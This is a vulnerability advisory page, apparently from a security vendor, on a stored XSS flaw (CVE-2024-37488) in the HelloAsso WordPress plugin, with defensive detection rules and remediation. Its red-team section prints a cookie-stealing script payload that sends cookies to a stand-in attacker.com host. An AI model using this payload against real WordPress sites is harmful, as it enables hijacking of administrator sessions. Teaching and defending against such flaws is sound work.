CVE-2024-37488
Executive Summary
CVE-2024-37488 is a stored Cross-Site Scripting (XSS) vulnerability in the HelloAsso WordPress plugin, affecting versions 1.1.9 and below. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into the plugin's administrative or front-end pages. Given the plugin's integration with donation and membership features, this flaw could be exploited to steal session cookies, redirect users to malicious sites, or perform actions on behalf of authenticated administrators.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress dashboard or manual upload are at risk. No official patch has been released as of the latest analysis. The plugin's update mechanism does not automatically remediate this flaw, and no signed integrity checks are available for the plugin package.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R)
- Scope: Changed (S:C)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
The vulnerability is classified as Medium severity due to the requirement for user interaction (e.g., clicking a crafted link) and the limited impact on confidentiality and integrity. However, in a WordPress context, an attacker could leverage this to escalate privileges if an administrator views the malicious content.
Deep Dive & Mechanics
The HelloAsso plugin fails to sanitize or escape user-supplied input before rendering it in HTML pages. Specifically, the plugin processes donation form fields, member names, or custom messages without proper validation. An attacker can inject JavaScript payloads into these fields, which are then stored in the WordPress database. When an administrator or other user views the affected page (e.g., donation history or member list), the injected script executes in their browser context.
The vulnerability is classified as Stored XSS (CWE-79) because the malicious input persists across sessions. The plugin does not use WordPress's built-in escaping functions like esc_html() or wp_kses_post() on the output, nor does it validate input against an allowlist.
Vulnerable vs. Patched Code
Vulnerable Code (version 1.1.9):
// In helloasso.php or similar
echo '<div class="helloasso-message">' . $user_message . '</div>';
The $user_message variable is directly echoed without sanitization.
Patched Code (hypothetical):
// Patched version
echo '<div class="helloasso-message">' . esc_html( $user_message ) . '</div>';
The esc_html() function converts special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team
- Setup: Install WordPress 6.x with HelloAsso plugin version 1.1.9 on a local or cloud lab.
- Craft Payload: Use a standard XSS payload such as:
or a more advanced payload to steal cookies:<script>alert('XSS')</script><script>document.location='http://attacker.com/steal.php?c='+document.cookie</script> - Inject: Submit the payload via a donation form or member profile field that is not sanitized.
- Trigger: Log in as an administrator and navigate to the page displaying the injected content (e.g., donation list). The script executes.
Blue Team
- Detection: Monitor for unusual script tags in form submissions or database entries.
- Prevention: Implement a Web Application Firewall (WAF) rule to block common XSS patterns.
- Response: If exploitation is detected, isolate the affected WordPress instance, remove malicious entries from the database, and apply input validation.
Indicators of Compromise (IOCs)
- Network: HTTP requests containing
<script>tags in POST data to/wp-admin/admin-ajax.phpor plugin-specific endpoints. - File System: Modified plugin files with injected JavaScript (though this is a stored XSS, not file inclusion).
- Database: Entries in
wp_postmetaor custom plugin tables containing JavaScript payloads. - Logs: Web server logs showing requests with encoded XSS payloads (e.g.,
%3Cscript%3E).
Detection Engineering
YARA Rule
rule helloasso_xss_payload {
meta:
description = "Detects XSS payloads targeting HelloAsso plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-37488"
strings:
$payload1 = /<script[^>]*>.*?<\/script>/is
$payload2 = /onerror\s*=\s*["']?[^"']*["']?/i
$payload3 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: HelloAsso Stored XSS Detection
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential XSS payloads in HTTP requests to HelloAsso plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=helloasso'
sc-status: 200
keywords:
- '<script'
- 'onerror='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in admin panels
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-37488 HelloAsso XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=helloasso"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the HelloAsso plugin until a patch is available.
- Short-term: Implement a WAF rule to block XSS payloads targeting the plugin.
- Long-term: Monitor the plugin's official repository for a patched version (>= 1.2.0). Apply the update as soon as it is released.
- Alternative: Replace the plugin with a similar, actively maintained donation plugin that follows secure coding practices.
Valters IT
Securing Digital Frontiers
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.